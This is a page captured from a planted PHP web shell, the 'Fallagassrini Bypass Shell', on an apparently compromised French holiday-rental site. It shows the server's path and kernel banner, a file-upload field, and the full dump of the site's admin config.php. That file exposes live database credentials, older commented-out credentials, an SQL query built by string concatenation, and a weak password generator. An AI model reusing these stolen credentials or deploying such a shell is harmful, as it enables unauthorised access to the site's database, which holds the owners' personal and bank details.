Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/old/happy-r.fr/transfere_pro/administration/templates/admin2/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/old/happy-r.fr/transfere_pro/administration/templates/admin2/config.php

<?php
if(!isset($_SESSION)) {
     session_start();
}
if ($_SESSION['proprietaire_id']=='' && $page!='login'  && $page!='contrat' && $page!='paiement'  && $page!='fiche') {header('Location: login.php'); }


// administration/assets/admin/layout2/css/themes/default.css LIGNE 280 : Fond orange
// administration/assets/admin/layout2/css/themes/default.css LIGNE 10 : Fond LOGO

// INTERSECTIONS DE DATES
//http://www.vijayjoshi.org/2011/09/07/php-get-intersecting-dates-between-2-date-ranges/

// JAVASCRIPT DE LA PAGE DE LOGIN
//assets/admin/pages/scripts/login.js


// TYPE PROPRIETAIRE 1 = PROPRIETAIRE
// TYPE PROPRIETAIRE 10 = GESTIONNAIRE

// STATUT RESERVATION 1 = RESERVATION DEMANDEE
// STATUT RESERVATION 2 = INDISPONIBLE
// STATUT RESERVATION 3 = RESERVATION VALIDEE CLIENT
// STATUT RESERVATION 4 = RESERVATION VALIDEE ET PAYEE
// STATUT RESERVATION 5 = PROMOTION

ini_set('display_errors', 1);
error_reporting(E_ALL ^ E_NOTICE);
$nom_de_domaine="http://www.happy-r.fr";
$nom_du_mail="contact@happy-r.fr";
$nom_de_domaine_https="https://www.happy-r.fr";

//define('db_name', 'happy_rentals_c');
//define('db_user', 'happy_rentals_c');
//define('db_password', 'PmBXajqk');
//define('db_host', 'localhost');


define('db_name', 'happyrenashappy');
define('db_user', 'happyrenashappy');
define('db_password', 'K4Pli74zZfv');
define('db_host', 'happyrenashappy.mysql.db');


include("includes/ez_sql_core.php");
include("includes/ez_sql_mysqli.php");
$db = new ezSQL_mysqli(db_user,db_password,db_name,db_host);


if ($_SESSION['proprietaire_id']!='')
{
$myquery_proprietaire = "SELECT nom,prenom,statut,mail,logement_prefere,banque_iban from proprietaire where id=".$_SESSION['proprietaire_id'];
$marequete_proprietaire = $db->get_row($myquery_proprietaire);
$_SESSION['proprietaire_nom']		=	$marequete_proprietaire->nom;
$_SESSION['proprietaire_prenom']	=	$marequete_proprietaire->prenom;
$_SESSION['proprietaire_mail']		=	$marequete_proprietaire->mail;
$_SESSION['statut']					=	$marequete_proprietaire->statut;
$_SESSION['logement_prefere']		=	$marequete_proprietaire->logement_prefere;
$_SESSION['banque_iban']			=	$marequete_proprietaire->banque_iban;
if ($_SESSION['heure_connexion']=='') {$_SESSION['heure_connexion']=date("h").":".date("i");}
}
$_SESSION['upload_type']="";
$_SESSION['logement_id']="";
if ($_SESSION['proprietaire_id']!='' && $_SESSION['banque_iban']=='' && $page!='mon_compte') {header('Location: mon_compte.php'); }
function lister($dir)
										{
										if (is_dir($dir))
											{
												if ($dh = opendir($dir))
												{
													while (($file = readdir($dh)) !== false)
														{
															if ($file!='.' && $file!='..' && $file!='thumbnail')
																{
                                                                $cpt=$cpt+1;
                                                                $matrice[$cpt] = array('nom' => $file);
                                                                }
}
												closedir($dh);
												return $matrice;
												}
											}
										}
										
										
function imagethumb( $image_src , $image_dest = NULL , $max_size = 90, $expand = FALSE, $square = FALSE )
{
	if( !file_exists($image_src) ) return FALSE;

	// Récupère les infos de l'image
	$fileinfo = getimagesize($image_src);
	if( !$fileinfo ) return FALSE;

	$width     = $fileinfo[0];
	$height    = $fileinfo[1];
	$type_mime = $fileinfo['mime'];
	$type      = str_replace('image/', '', $type_mime);

	if( !$expand && max($width, $height)<=$max_size && (!$square || ($square && $width==$height) ) )
	{
		// L'image est plus petite que max_size
		if($image_dest)
		{
			return copy($image_src, $image_dest);
		}
		else
		{
			header('Content-Type: '. $type_mime);
			return (boolean) readfile($image_src);
		}
	}

	// Calcule les nouvelles dimensions
	$ratio = $width / $height;

	if( $square )
	{
		$new_width = $new_height = $max_size;

		if( $ratio > 1 )
		{
			// Paysage
			$src_y = 0;
			$src_x = round( ($width - $height) / 2 );

			$src_w = $src_h = $height;
		}
		else
		{
			// Portrait
			$src_x = 0;
			$src_y = round( ($height - $width) / 2 );

			$src_w = $src_h = $width;
		}
	}
	else
	{
		$src_x = $src_y = 0;
		$src_w = $width;
		$src_h = $height;

		if ( $ratio > 1 )
		{
			// Paysage
			$new_width  = $max_size;
			$new_height = round( $max_size / $ratio );
		}
		else
		{
			// Portrait
			$new_height = $max_size;
			$new_width  = round( $max_size * $ratio );
		}
	}

	// Ouvre l'image originale
	$func = 'imagecreatefrom' . $type;
	if( !function_exists($func) ) return FALSE;

	$image_src = $func($image_src);
	$new_image = imagecreatetruecolor($new_width,$new_height);

	// Gestion de la transparence pour les png
	if( $type=='png' )
	{
		imagealphablending($new_image,false);
		if( function_exists('imagesavealpha') )
			imagesavealpha($new_image,true);
	}

	// Gestion de la transparence pour les gif
	elseif( $type=='gif' && imagecolortransparent($image_src)>=0 )
	{
		$transparent_index = imagecolortransparent($image_src);
		$transparent_color = imagecolorsforindex($image_src, $transparent_index);
		$transparent_index = imagecolorallocate($new_image, $transparent_color['red'], $transparent_color['green'], $transparent_color['blue']);
		imagefill($new_image, 0, 0, $transparent_index);
		imagecolortransparent($new_image, $transparent_index);
	}

	// Redimensionnement de l'image
	imagecopyresampled(
		$new_image, $image_src,
		0, 0, $src_x, $src_y,
		$new_width, $new_height, $src_w, $src_h
	);

	// Enregistrement de l'image
	$func = 'image'. $type;
	if($image_dest)
	{
		$func($new_image, $image_dest);
	}
	else
	{
		header('Content-Type: '. $type_mime);
		$func($new_image);
	}

	// Libération de la mémoire
	imagedestroy($new_image); 

	return TRUE;
}

function checkid($id) {
	if(!is_numeric($id)){
		echo "<p>Invalid ID</p>";
		exit;
		}else{
	return $id;
	}
}

function stri_replace( $find, $replace, $string ) {
// Case-insensitive str_replace()

  $parts = explode( strtolower($find), strtolower($string) );

  $pos = 0;

  foreach( $parts as $key=>$part ){
    $parts[ $key ] = substr($string, $pos, strlen($part));
    $pos += strlen($part) + strlen($find);
  }

  return( join( $replace, $parts ) );
}


function check_email_address($email) {
 if (!preg_match("/^( [a-zA-Z0-9] )+( [a-zA-Z0-9\._-] )*@( [a-zA-Z0-9_-] )+( [a-zA-Z0-9\._-] +)+$/" , $email)) {
  return false;
 }
 return true;
}

function show_user_level($type) {
switch ($type) {
    case 0:
        $show_user_level = "Administrator";
        break;
    case 1:
        $show_user_level = "User";
		break;
    case 2:
        $show_user_level = "Support Staff";
		break;
    case 3:
        $show_user_level = "";
		break;
}
return $show_user_level;
}

function show_type_name($type) {
switch ($type) {
    case 0:
        echo "Support Staff";
        break;
    case 1:
        echo "Departments";
		break;
    case 2:
        echo "Request Type";
		break;
    case 3:
        echo "Device Type";
		break;
}
}

function show_type_col($type) {
switch ($type) {
    case 0:
        $show_type_col = "call_staff";
        break;
    case 1:
        $show_type_col = "call_department";
		break;
    case 2:
        $show_type_col = "call_request";
		break;
    case 3:
        $show_type_col = "call_device";
		break;
}
return $show_type_col;
}


function call_status($value) {
switch ($value) {
    case '0':
        $value = "Active";
        break;
    case '1':
        $value = "Closed";
		break;
}
	return $value;
}

///////////
function generatePassword($length=9, $strength=0) {
	$vowels = 'aeuy';
	$consonants = 'bdghjmnpqrstvz';
	if ($strength & 1) {
		$consonants .= 'BDGHJLMNPQRSTVWXZ';
	}
	if ($strength & 2) {
		$vowels .= "AEUY";
	}
	if ($strength & 4) {
		$consonants .= '23456789';
	}
	if ($strength & 8) {
		$consonants .= '@#$%';
	}

	$password = '';
	$alt = time() % 2;
	for ($i = 0; $i < $length; $i++) {
		if ($alt == 1) {
			$password .= $consonants[(rand() % strlen($consonants))];
			$alt = 0;
		} else {
			$password .= $vowels[(rand() % strlen($vowels))];
			$alt = 1;
		}
	}
	return $password;
}
function getIntersection($a1,$a2,$b1,$b2)
					{
							$a1 = strtotime($a1);
							$a2 = strtotime($a2);
							$b1 = strtotime($b1);
							$b2 = strtotime($b2);
							if($b1 >= $a2 || $a1 >= $b2 || $a2 <= $a1 || $b2 <= $b1)
							{
								return false;
							}
							$start = $a1 < $b1 ? $b1 : $a1;
							$end = $a2 < $b2 ? $a2 : $b2;

							return array('start' => $start, 'end' => $end);
					}
?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net